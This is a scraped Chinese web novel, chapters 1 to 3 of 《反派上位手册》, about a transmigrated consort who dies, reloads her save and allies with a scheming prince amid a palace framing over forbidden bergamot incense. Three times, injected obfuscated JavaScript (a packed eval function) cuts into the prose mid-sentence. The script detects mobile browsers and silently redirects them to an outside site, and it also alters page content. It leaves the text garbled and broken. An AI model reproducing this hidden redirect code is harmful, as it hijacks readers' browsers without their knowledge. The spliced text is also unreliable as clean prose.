《反派上位手册》 1. 开局即死局 近乎腐烂的利齿撕开皮肉,疯狂啃噬着她的四肢,浓重的腥臭味几乎要将她的神志吞没。 高玥猛地睁开双眼,大口地喘着粗气。 四肢被丧尸疯狂撕咬的疼痛仿佛还残留在神经末梢,她不自觉地打了个哆嗦。 然而下一秒,鼻中一缕清冷地木质幽香却让她倏地一愣,她这才发现自己深处一个全然陌生的地方。 紫檀木的梳妆台,鎏金的博山炉,还有这明黄色帐幔…… 这是哪里? 而不远处坐着的一个男子,似乎是听到了声响,放下手中的茶盏,朝这边走来。 男子一袭素色锦袍,容貌无疑是极美的,可高玥却隐隐觉得这份俊朗的外表下,隐藏着一丝不易察觉的疏离与戾气。 果然。 他停在床边,居高临下地俯视着高玥。 “玥贵妃终于是醒了。没想到玥贵妃果真是有骨气,为了不与本王合作,竟不惜投湖自尽。”他微微倾身,声音压低了些,“本王倒是小瞧了你对那个老皇帝的痴心。” 高玥脑中一片空白,浑身又冷又痛,想必就是这个男人刚刚说的宿主投湖自尽。 她张了张嘴,可却发现喉咙嘶哑的挤不出半个字。她其实只想问一句。 “你是谁”。 可话未出口,无数的记忆碎片便汹涌而来,强行灌入她脑海。 剧烈的头痛让她眼前发黑,那些纷乱的画面、声音、情感,如同走马灯般飞速闪过。 原来她是玥贵妃,是当朝皇帝最得宠的妃子。 而眼前这个男人,是王爷齐思铭,世人眼中温润如玉的贤王,暗地里却是权倾朝野的东厂提督。 在宿主的认知里,这位贤王表面上待人宽和,是朝中一股清流,可私下里他却找到她,要求她利用皇帝的宠爱,为他窃取情报,助他谋夺大位。 玥贵妃对皇帝忠心耿耿,断然拒绝。 可这个面前的男人却用她远在山城的家人性命相要挟。 宿主宁死不屈,毅然决然选择在御花园的太液池中,用一死来明志。 高玥看完玥贵妃的这前半生,只觉得荒谬。 东厂提督是什么? 说白了就是太监头子。 自古以来,何曾有过太监当皇帝的先例? 再说了,就算你夺了这江山,你有子嗣继承吗? 想到这里,高玥觉得面前男子俊美的容貌此时也显得如此面目可憎。 宿主刚烈至此,宁死都不愿与这种人同流合污,她也一定要尊重宿主的意愿。 再说了,她一个初来乍到的现代社畜,人生地不熟的,何必一上来就参与这种掉脑袋的高风险项目? 再说了,在她读过的那些史书里,谋朝篡位这种事,十个有九个都落得个身首异处的下场,成功率低得可怜。 放着皇帝的大腿不抱,去跟着一个注定失败的王爷,哦不对,还是个太监…… 这不是脑子有病是什么? 她可不想刚从丧尸口中逃生,转头就把自己的小命折在这里。 想到这里,高于撑起虚弱的身体,靠在床头,嘴角扯出一抹比哭还难看的笑意。 “王爷,本宫只是一介女流,既无经天纬地之才,也无杀伐决断之勇。除了用一死来逃避,又能如何呢?” 言下之意,我都这样说了,你总不能还让我硬上吧。 高玥在心里默默翻了个白眼,这个齐思铭,到底看上玥贵妃哪点了,非要让玥贵妃跟着自己谋反。 齐思铭看着高玥这楚楚可怜的作态,眼底却不见半分怜惜。 “既然如此,玥贵妃是又拒绝了本王一次?” 高玥默不作声。 齐思铭脸上的笑意淡了下去,他静静地看了她许久,久到高玥以为他要动手掐死自己的时候,他却忽然又笑了。 “好,很好。” 他直起身子,慢条斯理地整理了一下自己的衣袍,“希望娘娘不会为今日的选择后悔。” 他留下这句话便拂袖而去,再未回头。 后悔? 高玥当时嗤之以鼻。 然而,报应却来得迅猛而惨烈。 齐思铭走后的第三天,她的贴身宫女翠儿,便被皇后的人诬陷与太监对食,被当着她的面活活杖毙。 她去求皇帝,却连皇帝的面都没见到。 而半月后,一封她与敌国王子“私通”的信件,从她的寝宫“搜”了出来。 证据确凿,人赃并获。 曾经对她恩宠无限的帝王,如今看她的眼神只剩下冰冷的审视与厌弃。 他甚至懒得多问一句,只一句话便将她从云端的宠妃,打入阴湿的泥淖。 她被打入永巷。 那是宫中最阴暗的角落,青石板上永远覆盖着湿滑的青苔,就连空气中都是腐朽的气息。 在那里的日子,比死还难熬。 她以为皇帝对自己总有几分情意,可她等来的,只有无尽的羞辱和绝望。 又过了一年,宫门被轰然撞开,喊杀声和火光染红了半边天。 齐思铭身披玄色铠甲,手持长剑,踏着满地的尸骨与鲜血,一步步向她走来。 他真的谋反了。 永巷的尽头,火光冲天。 尖叫的宫女和失魂落魄的太监如无头苍蝇一般从她身边仓皇奔过。 高玥静静地站在原地,忽然觉得自己像极了史书上那些被一笔带过的亡国之妃。 朱颜辞镜花辞树,落魄宫墙锁玉步。 齐思铭缓缓走到高玥面前,火光映照着他浴血的玄甲。 那张温润如玉的俊美面容,如今只剩一片冰霜。 他其实大可不必专门来到永巷,如今出现在这里,不过是为了审判。 一年前,他也是这样居高临下地看着她,让她不要后悔。 如今,他来取答案了。 “王爷……” 她的声音微弱得几乎要被风吹散,带着一丝她自己都未曾察觉的颤抖。 齐思铭的表情没有丝毫变化,他甚至没有回应她这一声称呼,只是漠然地抬起手,身后的人立刻递上一张长弓。 他缓缓举起长弓,锋利的箭头在火光下闪着寒芒,稳稳地对准了她的心口。 高玥看着那枚箭头,看着他冰冷而决绝的双眸,脑海中只剩下他当初拂袖而去时留下的那句话。 “希望娘娘不会为今日的选择后悔。” 后悔吗? 在她被诬陷时,在她被百般羞辱时,在她于这永巷中苟延残喘的每一个日夜里,这个词早已啃噬了她全部的神志。 一支利箭 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315849|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 破空而来,以雷霆万钧之势,精准无误地射中了她的心脏。 她的力气被瞬间抽空,双膝一软,重重地跪倒在地。 在她生命的最后一刻,她看到的,是他眼底那抹从未变过的嘲弄,以及一丝她看不懂的复杂情绪。 利箭穿心而过,剧痛席卷全身。 意识被丢入深不见底的寒潭,迅速下沉…… 那撕心裂肺的痛楚,连同永巷的火光,齐思铭冷漠的脸庞,都一并被无边无际的黑暗吞噬。 就在高玥以为自己将要彻底消散在这片虚无之中时,一道不带任何感情的电子音突然响起。 【警告:宿主生命体征已清零。】 【“反派上位手册”通关失败。】 话音落下的瞬间,一块幽蓝色的光屏在她眼前骤然亮起。 光屏上,几行字体缓缓浮现: 【失败原因:未能获取目标齐思铭的信任,导致关键剧情节点选择错误,最终被目标清除。】 【检测到宿主尚存初始积分,满足读档条件。】 【是否消耗全部积分,返回初始存档点,重新开始?】 屏幕下方,两个选项闪烁着幽微的光芒。 【是】/【否】 什么? 高玥在剧痛和震惊中,思维反而清明起来。 反派上位手册? 读档重来? 她从一个争不过女主的恋爱游戏,跳到了一个目标是辅佐反派篡位的权谋游戏? 而且这个反派,还是刚刚才一箭射死她的齐思铭! 高玥简直要被这荒谬绝伦的设定气笑了。 让她去帮一个心狠手辣,说翻脸就翻脸的人夺取皇位? 这系统莫不是有什么大病? 但更让她感到荒谬的,是光屏上“返回初始存档点”这几个字。 她猛地想起来,她刚来到这个世界的时候,正是玥贵妃投湖自尽被救起的时候。 所以说,她以为的宿主,也不过是上一个玩家而已? 一个手握系统,开了金手指的玩家,居然能把自己活到投湖自尽的地步? 拿着逆天改命的剧本,结果开局就直接送了人头,这简直是把王炸打成了单牌三。 高玥一时竟不知是该同情,还是该嘲笑。 或许,她更该嘲笑的是自己。 想当初在那个叫“爱在西元前”的恋爱游戏里,她自以为站在正义善良的女主角那边,兢兢业业地扮演着女主的好闺蜜,结果呢? 结局是被剧情推出去喂了丧尸。 结果这次选了正义的一边,反派居然送她一箭归西。 合着不管她是站正派还是站反派,横竖都是个死? 她死死地盯着屏幕上闪烁的【是】。 重来就重来! 她就不信这个邪! 齐思铭…… 你给老娘等着! 高玥毫不犹豫地点了那个发光的【是】字。 光芒一闪,周围的一切土崩瓦解,又在瞬间重组。 刺骨的寒意再次袭来,檀木的香气混合着湿衣的霉味,依旧是那个华丽的宫殿,那张雕花的床榻。 不远处的脚步声由远及近,那个俊美而危险的男人,朝她走来。 一切,又回到了最初的起点。 2. 一言乱朝,美人为刃 齐思铭依旧是刚刚那副温润如玉的模样。 “玥贵妃终于是醒了。”齐思铭的声音不高不低,带着几分慵懒的嘲弄,“没想到玥贵妃果真是有骨气,为了不与本王合作,竟不惜投湖自尽。” 一模一样的话,一字不差。 高玥的心跳的飞快,那一箭穿心的剧痛仿佛还残留在骨髓。 她没有像上一次那样直接拒绝,反而虚弱地咳了两声,心中却在飞快地思索对策。 “王爷说笑了。”她不敢直视齐思铭那双眼,只得低头攥着锦被。 “臣妾一介女流,性命荣辱皆系于陛下龙颜一怒。与王爷合作,臣妾连想都不敢想,又何谈为此投湖?” 她顿了顿,像是鼓起了极大的勇气,才终于抬眼看向齐思铭。 “臣妾只是想不明白,王爷手眼通天,为何偏偏选中了臣妾?” “臣妾既无经纬之才,也无谋略之识,实在是怕误了王爷的大事。” 齐思铭闻言,并未直接回答,而是轻描淡写地问道,“贵妃觉得,本王为何要选中你?” “在这宫中,美貌的女子如过江之鲫,更不乏聪慧机敏之流。本王若真要寻一枚棋子,玥贵妃并非唯一的选择。” 他顿了顿,转过身来,轻轻说道,“可唯有贵妃,身处漩涡中心,却又仿佛置身事外。既能轻易窥见帝王心思,又能巧妙地明哲保身。这份这份审时度势才是本王真正看中的。” 审时夺度? 齐思铭怕是不知道,他口中这份审时夺度,夸的是上一个把自己玩到投湖自尽的倒霉蛋玩家。 想来也是,在齐思铭这种人眼中,那个玩家拼了命地讨好皇帝,想要抱紧那根最粗的龙腿,可不就是“明哲保身”的最佳表现么? 可齐思铭却不知道高玥内心的想法,继续说道:“还记得半年前的选秀吗?当时陛下属意的是吏部尚书之女,可最终入宫的却是你,一个出身卑微,毫无背景的女子。 贵妃当真以为,仅仅凭着一张脸,就能让陛下改变主意吗? 是你进献的那份“百鸟朝凤图”,表面上是祈求国泰民安,实则将吏部尚书与前朝太子的旧事巧妙地串联起来,让陛下对吏部尚书心生芥蒂。 这份心机和胆识,可不是一般人能有的。” 高玥懂了,原来齐思铭看中的是上一个玩家留下的虚假人设。 而她现在必须得把这个人设给稳住,甚至演的更好。 齐思铭缓缓走近高玥,声音带着一种蛊惑人心的诱惑:“更何况……” 他俯身在她耳边低语,“贵妃不是一直想摆脱这受制于人的命运吗?与本王合作,或许能给你一个意想不到的答案。” “我答应。” 没有一秒钟的犹豫,高玥抬起眼,直直地对上齐思铭的目光。 齐思铭的眼中闪过一丝意外,“贵妃答应得这么爽快,倒叫本王有些意外了。” 高玥仿佛早料到他会有此一问,她真诚地回答道:“王爷,妾身想通了。 从前的我,总想着靠情爱活命,以为只要抓住了皇上的心,就能安稳度日。可结果呢?不过是镜花水月罢了。” “这几日我想得很明白,在这宫里,宠爱是最靠不住的东西。与其将身家性命寄托在一个男人的宠爱上,不如赌一把大的。” “与王爷下合作,虽是九死一生,可一旦功成,那便是泼天的富贵。与其等着被人宰割,倒不如先下手为强。这笔买卖,怎么看都是划算的。” 齐思铭盯着她看了许久,似乎在分辨她话中的真假。 最终,他脸上的神情恢复了惯常的温和。 “很好。”他淡淡吐出两个字,算是认可了她的说辞。 “既如此,有一事需交给你去办。” “本王听闻,陛下近来夜不安寝,似乎是想起了已故的荣亲王。”齐思铭的声音压得很低,像情人间的呢喃。 “你明日去向太后请安时,不必多言,只需在太后跟前的张嬷嬷面前,看似无意地提上一嘴此事便可。” 高玥脸上的笑容瞬间僵住。 荣亲王。 皇帝的亲弟弟,当年因谋逆大罪被满门抄斩,连宗谱都除了名。 这个名字,是宫中最大的禁忌,谁提谁死。 更何况是在太后面前。 太后虽不是荣亲王的生母,但当年也颇为疼爱这个小叔子。 在太后面前提及此事,无论是有意还是无意,都等于是在剜她的心头肉,一个不慎,她就会被当场杖毙。 “王爷。” 高玥的音调都变了,低声说道,“这可是宫中最大的禁忌,稍有不慎,我便可能命都没了。” “我若死了,王爷您的宏图伟业不就彻底泡汤了?” 她与其说是在质问,不如说是在提醒。 齐思铭冷哼一声,“连这种小事都办不好,本王还要你有何用?” 这位祖宗! 高玥内心简直要尖叫出来了。 上一秒还对你说你很重要,下一秒就让你去死。 都说伴君如伴虎,这位更是翻脸就跟翻书一样。 一句话,将高玥所有的退路都堵死了。 合着我的命你是一点不在意啊! 拒绝? 拒绝的下场可能比去太后宫里送死还惨。 她又想起了齐思铭对着她射箭的那一幕。 高玥深吸一口气,将心头的恐惧尽数压下,重新挤出一个妩媚的笑容:“王爷放心,保证完成。” 她的话音刚落,一根手指便轻轻划过她的脸颊,那手指顺势而下,最终停留在她的下颌处。 只微微用力,便将她的脸抬了起来,强迫她与他对视。 齐思铭笑了。 可高玥却在他的笑容里读出了一丝毫不掩饰地威胁。 …… 夜深王府。 齐思铭的贴身侍卫王友为他奉上一杯热茶,脸上带着几分忧虑。 “王爷,让玥贵妃去做这件事,是否太过冒险?”王友忍不住开口。 “荣亲王一案是前朝时期的旧案,如今早已无人敢提。她一个新晋的妃子,在太后面前提及此事,一旦应对不当,不仅她自己性命难保,恐怕还会暴露我们。” 齐思铭端起茶盏,用杯盖轻轻撇去浮沫。 他没有立刻回答,只是静静地看着杯中沉浮的茶叶。 “王友,你觉得如今的朝局如何?”他忽然问了一个不相干的问题。 王友一愣,恭敬地答道:“坊间都说当今太子仁德,朝臣归心,朝局稳如磐石。” “稳如磐石?”齐思铭轻笑一声,“正因为它太稳了,才是一潭死水。” “一潭死水,是养不出真龙的。” 他放下茶杯,眼中闪过一丝厉色:“本王要的,就是搅动这潭死水。” “太后并非当今圣上的生母,她虽然后来抚育了圣上,但与圣上之间,始终隔着一层。 相反,她对先帝的其他几个儿子,尤其是荣亲王,倒是真心疼爱过。当年荣亲王谋逆案,定罪定得太快,其中不乏疑点。太后这些年看似不问世事,但心里未必没有疙瘩。” 齐思铭起身走到窗前,望着天边那轮残月,幽幽地说道:“本王就是要让她的这颗石子投进去,不必激起惊涛骇浪,只需在太后心里,重新泛起一丝涟漪,勾起她对当年旧案的疑心就够了。” “那到时候,太子那看似稳固的东宫之位,还会那么稳吗?” 王友恍然大悟,额上渗出冷汗。 原来他们的王爷真正目的,是利用太后来动摇太子的根基! “至于她么……”齐思铭不经意地说道,“她若能办成,证明她确实是把好刀。她若办砸了,死了一个贵妃,父皇最多伤心几日,很快就会有新的美人来填补。而本王,不过是损失了一枚尚未完全信任的棋子罢了。” …… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315850|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 夜晚,高玥屏退了所有宫人。 殿内燃着安神的暖香,却驱不散她心头的焦虑。 齐思铭的笑容就像是烙印一般挥之不去。 坐以待毙? 不行。 无论是被齐思铭当弃子还是去太后宫里去送死,她哪个都不选。 高玥深吸一口气,心中默念,“系统。” 一道只有她才能看得见的幽蓝光屏浮现于眼前。 她熟练地调出搜索栏,输入“荣亲王”三个字。 【荣亲王,齐昭。】 【先帝第三子,由当今太后抚养长大,情同母子。】 【天资聪颖,文武双全,曾深受先帝与太后喜爱。元和三年,因涉谋逆案被赐死,王府上下三百余口尽数流放。】 高玥倒吸了一口气,如果直接提及荣亲王,这无疑是在太后的雷区上蹦踏。 她必须找到一个万全之策,一个既能完成任务,又能保全自己的好法子。 她静坐片刻,强行压下心头的惊涛骇浪,向着殿外唤了一声“翠儿”。 翠儿闻声立刻推门进来,屈膝行礼。 高玥抬手,状似随意地问道:“翠儿,你入宫比本宫久,宫里的一些旧事,想必也比本宫清楚。” 翠儿不明所以,但还是恭敬地答道:“奴婢愚钝,但娘娘想知道什么,奴婢一定知无不言。” 高玥点了点头,缓缓开口:“本宫今日似乎听人提了一句,便想问问你,你可知道荣亲王?” 话音刚落,翠儿的脸色“唰”地一下变了。 翠儿压低了声音,几乎是用气音在说:“我的好娘娘,您可千万别再提这个名字了!” 她连忙解释道,“娘娘,您来的时间不长,可能不知道,荣亲王这三个字,在宫里可是天大的忌讳!您是从哪儿听来的?快忘了它,就当从没听过!” 高玥见翠儿吓成了这样,心中了然,面上却是一副“原来如此”的神情。 她轻轻拍了拍翠儿的手背,柔声说道。 “瞧把你吓得,本宫又不是傻子,自然是知道什么话该说,什么话不该说。” “今日之事偶然听了一嘴,心里没底,这才想着问问你。” 见翠儿脸上依旧惊恐,高玥换上了一副故作担忧的模样,“你想啊,咱们在这宫里,最怕的就是在不知情的时候触了哪位贵人的逆鳞。” “本宫就是想问问,那位荣亲王在世时,平日里都喜欢些什么物件?或者有什么偏好?本宫知道了,日后也好远远地避开,省得哪天宫里赏下什么东西,或是本宫用了什么,恰好是那位王爷的心爱之物,到时候惹得太后或是圣上睹物思人,触了这个霉头,那才真是跳进黄河也洗不清了。” 翠儿听完这番话,紧绷的肩膀瞬间松了下来。 “原来是这样。”翠儿长舒一口气,“瞧瞧奴婢这榆木脑袋,竟没想到这一层去!还是娘娘心思玲珑,想的这版周全!” 她凑近了些,声音压得更低:“娘娘说得对,这事儿不得不防。要说那位王爷的喜好,有件事,奴婢也是听别人说过。” 高玥的眸光微不可察地一动。 只听翠儿继续说道:“听说那位王爷在调香上天赋异禀,尤其最爱佛手香。他亲手调制的佛手香,清冽悠远,曾被誉为京城一绝。也正因如此,内务府采买香料时,都会刻意避开了佛手这味香料。就是怕太后娘娘闻到了睹物思人,伤心神。不过此事毕竟是宫中禁忌,知道的人也不多,奴婢也是听别人随便闲聊时才知道。” 佛手香? 高玥心中微动,面上却露出一副恍然大悟的神情。 “哎呀,你这么一说,我倒真要好好查查了!我从家里也带了不少香料进宫,平日里只觉得好闻,哪里会去细究都是些什么成分。” 她蹙起眉头,一脸担忧地站起身,“不行,我得现在就去看看。咱们得仔细翻翻,可千万不能在这种要命的事上出了差错!” 3. 引蛇出洞请君入瓮 次日,天色将明,高玥便起了身。 她特意未施脂粉,只着一身素色宫装,长发松挽,衬得一张面孔毫无血色,满是病气。 她未去旁处,而是径直朝着皇帝的养心殿而去。 皇帝此刻正在批折子,见她这副病弱模样,眉头顿时一蹙,搁下了手中的朱笔。 “爱妃这是怎么了?脸色竟如此难看。” 高玥盈盈一拜,声音里透着沙哑与虚弱:“臣妾扰皇上清静了。只是臣妾近来也不知为何,夜里总是不得安寝,方才在殿外,竟险些眼前一黑,栽倒在地。” 她一边说着,一边手抚上心口,眉尖轻蹙。 皇帝果然面露不悦,连忙让她坐下。 “胡闹!身子不爽利,为何不早说?陈德,传王太医!” 王太医来得极快,良久,他才收了手,面露难色地说道:“回皇上,贵妃娘娘脉象虚浮,倒无大碍,只是娘娘近来可是心绪不宁,思虑过甚?” 高玥想起了齐思铭那张欠揍的脸,心中冷笑了一声。 日日与疯子为伍,时时如履薄冰,这心绪如何能宁? 但面上她却是一派茫然,思索了一会,便从袖中取出一只绣着淡兰的香囊,递了过去。 “臣妾也不知晓。只是近来时常闻着此物,便觉头晕目眩,心口烦闷。” 王太医接过香囊,凑近鼻端一嗅,脸色倏然微变,立刻禀道:“皇上,此香囊中含了百合。此花香气虽雅,但气味却过于浓郁,若是贴身久戴,反而会扰人心神,令人夜不能寐。” 皇帝面色一沉,对王太医道:“既是此物作祟,还不快给贵妃换个安神助眠的方子?贵妃若有半分差池,朕唯你是问!” “臣遵旨!”王太医忙不迭应下,又开了几副安神汤,这才躬身告退。 凤仪宫内。 皇后一身石青色宫服,正坐在窗边,漫不经心地拨弄着炉里燃尽的香灰。 一旁的赵嬷嬷躬着身子,压低了声音,“娘娘,昨儿个夜里,咱们的人瞧见那位齐王爷,竟从玥贵妃的寝殿里出来了。” 皇后拨弄香灰的动作一顿,随即又恢复了往日的慵懒,“本宫当是什么大事。那个女人半夜不睡觉,跟一个太监在屋子里面鬼鬼祟祟干什么?” 赵嬷嬷见自家主子似乎并不以为意,一时有些着急,“娘娘,那齐王爷虽说身子不全,可他终究是个外男。深更半夜从贵妃寝殿出来,这若是传到皇上的耳朵里……” “传到皇上耳朵里?”皇后终于放下了手中的银签,似笑非笑地看向赵嬷嬷,“你可有证据?皇上只会觉得,是有人见不得那个狐媚子得宠,故意泼脏水。说不准,还以为是本宫在捣鬼,反倒愈发的怜惜她了呢。” 赵嬷嬷一愣,立马点点头,“娘娘说的是,倒是老奴想的简单了。” “不过……”皇后顿了顿,继续说道,“你说的也不无道理。一个宠妃,一个掌着东厂的王爷,这两个人凑在一起,总归不是为了赏月。” “你去查查,那个狐媚子现在在做什么。” 王太医提着药箱,刚出养心殿不远,便被一人拦住了去路,正是皇后宫里的赵嬷嬷。 赵嬷嬷脸上挂着笑容:“王太医,皇后娘娘有请,还请您往凤仪宫走一趟。” 王太医心里咯噔一下,可面上却不敢显露分毫,只得垂首应了。 她慢条斯理地呷了口茶,问道:“听闻刚刚陛下急召你过去,所为何事?” “回娘娘,是玥贵妃娘娘身体违和,夜里睡不安稳。皇上命臣为贵妃娘娘换一副安神香囊。” 皇后搁下茶盏,意味深长地说道:“哦?睡不安稳?这可是大事。贵妃妹妹正得圣心,若是累坏了身子,皇上岂不心疼。” 话毕,她话锋一转,“本宫近日恰好得了一种奇香,听闻有安神助眠的功效。赵嬷嬷。” 赵嬷嬷心领神会,转身入内,未几,便捧出一个琉璃小瓶。 王太医只嗅了一下,便“噗通”一声跪倒在地。 “娘娘!这!此乃佛手香?!” 佛手香,牵涉荣亲王谋逆大案,早被列为禁中之禁。 私藏此物,便等同与前朝余孽勾结,乃是诛九族的大罪! “啪——” 只听一声脆响,皇后手中的茶盏被狠狠扔在地上,“放肆!” 皇后豁然起身,指着王太医骂道,“你的意思是,本宫私藏禁香,意图谋逆?还是你想说本宫勾结前朝余孽不成!” 王太医哪里见过这种阵仗,连忙不住地磕头,“臣不敢!是臣老眼昏花,一时口误!求娘娘恕罪!” 皇后的面色稍微缓和了一些,转而说道:“既不是佛手香,那便无碍,你将这安神香拿去。如果耽搁了贵妃治病,本宫拿你是问!” 说罢,她缓缓俯身,凑近王太医,“又或者,王太医是想违抗本宫的懿旨?” 王太医哪里还有退路,只得双手接住瓶子,声音却已经抖得不成样子,“臣……遵旨!” …… 不出两日,翠儿便捧着一只新的香囊进来了,满面喜色:“娘娘,王太医遣人送来的,说是这回的香,最是安神不过。” 高玥接过那只绣工精巧的锦囊,凑到鼻尖,只轻轻一嗅,她的脸色瞬间变了几变。 这个香气她再熟悉不过了,正是佛手香! 她原本想着如何神不知鬼不觉地将自己备下的佛手香换进去,不曾想,竟有人比她更快,早已贴心的为她准备好了。 若非她早已闻过佛手香的气味,并知晓这佛手香背后牵连的事情,此刻怕是真的会毫不知情地戴上,等着那顶勾结前朝余孽的帽子扣下来。 届时,她就算是浑身是嘴,也说不清楚了。 只是,究竟是谁这么迫不及待的想让她死? 宿主满打满算进宫也不过月余,却已经有这么多人想要她死。 先是齐思铭那个人,现在又不知道暗地里谁想要栽赃陷害她。 这玥贵妃可真不是什么好的岗位! 不过,既然如此,那她便将计就计,顺便将那藏在暗处的毒蛇也一并钓出来! …… 次日,晨省。 高玥敛了敛心神,端着宫女奉上的茶盏,款款上前。 “臣妾给太后娘娘请安。”她声音依旧带着几分病中的虚弱。 高玥跪在软垫上,双手举起茶盏,恭敬地递向太后。 就在太后伸手欲接住的那一刻,高玥好似为了稳住茶盏一般,左手不经意间抬起,轻轻扶了一下自己的衣襟。 也就是这个动作,带起她腰间佩戴的香囊,一股极淡却又独特的香气悄然弥散开来。 一直闭目养神的太后,突然睁开眼睛,直直地盯着高玥。 “这是什么味道?!” 侍立在太后身侧的张嬷嬷显然也闻到了这个香气,厉声喝道:“大胆玥贵妃!还不跪下!” 高玥仿佛被这突如其来的呵斥吓住,身子一颤,手中茶盏险些摔落。 她脸上尽是茫然,却还是依言跪了下去,神情惶恐又无辜。 太后的一字一顿地问道:“你身上是何气味?!” 高玥被这个阵仗着实吓了一跳,只得连忙磕头:“回太后,臣妾……臣妾不知。近日臣妾精神困顿,皇上特意召了王太医为臣妾诊脉,此物正是王太医为臣妾新换的安神香囊。” “不知……不知这香囊有何问题?” “传王太医!”张嬷嬷没有理会高玥,而是直接下令召了王太医。 片刻,王太医便被带了进来。 他一进殿中,便瞧见太后阴沉的脸色和跪在地上的玥贵妃,连忙跪倒在地。 张嬷嬷上前一步,厉声质问道,“王太医,你好大的胆子!太后娘娘问你,你给玥贵妃的香囊里,到底都放了些什么?!” 王太医的额前沁出了密密麻麻的冷汗,他根本不敢看向高玥,只得将头深深地埋在臂弯里。 “回……回太后娘娘,此乃臣为玥贵妃娘娘调配的安神香。所用之物,皆是寻常安神静气的药材,有……有上好的檀香、沉香,辅以丁香、肉豆蔻,再加了少许龙脑香提神……” 他说到这里,又怕说的不清楚一般,又急急忙忙补充道,“所用药材均是温和之物,绝无相冲相克之理,对娘娘身体更是有百利而无一害啊!请太后娘娘明鉴!” 高玥面上惶恐,可内心却已经吐槽了千百遍。 不知道的还真以为你有多冤枉。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315851|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这些寻常药材背得倒是滚瓜烂熟,可最要命的那一味,你是真不知道,还是不敢说? 张嬷嬷根本不理会他的辩解,只是冷笑一声,“那你可知道,这香囊里,还有一味佛手香?” 佛手香三个字一出,王太医更是被吓得魂飞魄散,也顾不得什么体面了,额头猛磕在地上。 “太后娘娘饶命!饶命啊!”他的声音抖得不成样子,“就是借老臣一百个胆子,老臣也不敢用那佛手香入药啊!请太后明鉴!这当中一定有误会,一定是有人栽赃陷害老臣啊!” 太后并未发话,斜靠在软枕上,不着痕迹地扫了高玥一眼。 良久,目光又慢悠悠地回到地上早已抖成一团的王太医身上,“你是说?有人栽赃你?” 不等王太医开口,张嬷嬷便已转身,指向高玥。 “你好大的胆子!此等宫闱禁物,是谁许你私自佩戴的?!来人,将玥贵妃拖下去,重重地罚!” 就在此时,太后却极快地扫了张嬷嬷一眼,递去一个眼色。 张嬷嬷立刻会意,转而对王太医怒斥:“没用的东西,滚出去!” 随即面向众人,“都退下!此事太后要亲自审问,胆敢有一个字说出去,要了你们的狗命!” 王太医如蒙大赦,连滚带爬地逃出慈安宫,他片刻不敢停留,踉踉跄跄直奔凤仪宫而去。 …… 凤仪宫内,皇后正悠闲地拨弄手炉里的香灰。 “娘娘,王太医来了。”贴身宫女低声通报。 话音刚落,王太医便踉跄着扑了进来,见到皇后便又是一声跪倒在地。 皇后慢条斯理地放下银签,见到王太医那副狼狈的样子,不禁轻笑了一声,“瞧你这狼狈样子,不知道的,还以为慈安宫是什么龙潭虎穴呢。” 王太医不敢有所隐瞒,将慈安宫内发生的一切原原本本地学了一遍。 可皇后却一脸意料之中的样子,呷了一口热茶,语气里满是惬意,“太后当真说要处置玥贵妃了?” “后来,太后屏退了所有人,只……只单独留下了玥贵妃,说是要亲自审问!” 听到“亲自审问”四个字,皇后的嘴角勾起一抹毫不掩饰的满意。 她将茶盏轻轻搁下,“知道了,这事你办的不错。” 又像是想到了什么似的,对赵嬷嬷道:“赏王太医白银千两。” 王太医听了这话,才像是终于活了过来,重重地磕了几个响头。 可皇后却没有着急让他起身,语气依旧是不咸不淡,“本宫记得,王太医的祖籍是江南一带吧。” 王太医心头一凛,不明白皇后娘娘为何突然提起这个。 “回娘娘,臣的老家在苏州府。” “苏州府,好地方啊。”皇后悠悠一叹,目光却变得幽深起来,“你在京中当值多年,怕是许久都未曾见过你那宝贝女儿了。本宫听闻,她今年也快及笄了,正是需要父亲在身边的时候。” 这一番话,如同一盆冷水浇在王太医的心头,刚才那千两白银的暖意瞬间荡然无存。 他突然明白,这根本不是赏赐,这是封口费! 只听皇后慢悠悠地说道:“你也辛苦了大半辈子,如今也算大功一件。不如就趁着这个机会,向皇上请辞,告老还乡吧。回苏州颐养天年,也好好弥补一下对家人的亏欠。” 王太医闻言,惊恐万状地叩首求饶:“皇后娘娘饶命!老臣……老臣对娘娘忠心不二啊!” 皇后的眼神却突然狠厉了起来,刚刚的柔和荡然无存:“事已至此,你以为你还能留在宫中?那个香囊的事情,你不会以为真的不会查到你的头上吧。 莫非,你是让本宫给你的失误背锅?! 本宫是在给你指一条活路,你若不走,本宫可不敢保证,这告老还乡,会不会成了病死宫中!” 王太医此刻的身体已经抖成了筛子,哪里还敢说一个不字。 “老臣……遵命。谢……谢娘娘体恤。” …… 而此时的慈安宫,所有人都已退下。 大殿内一片死寂,压得人喘不过气来。 良久,太后终于开口。 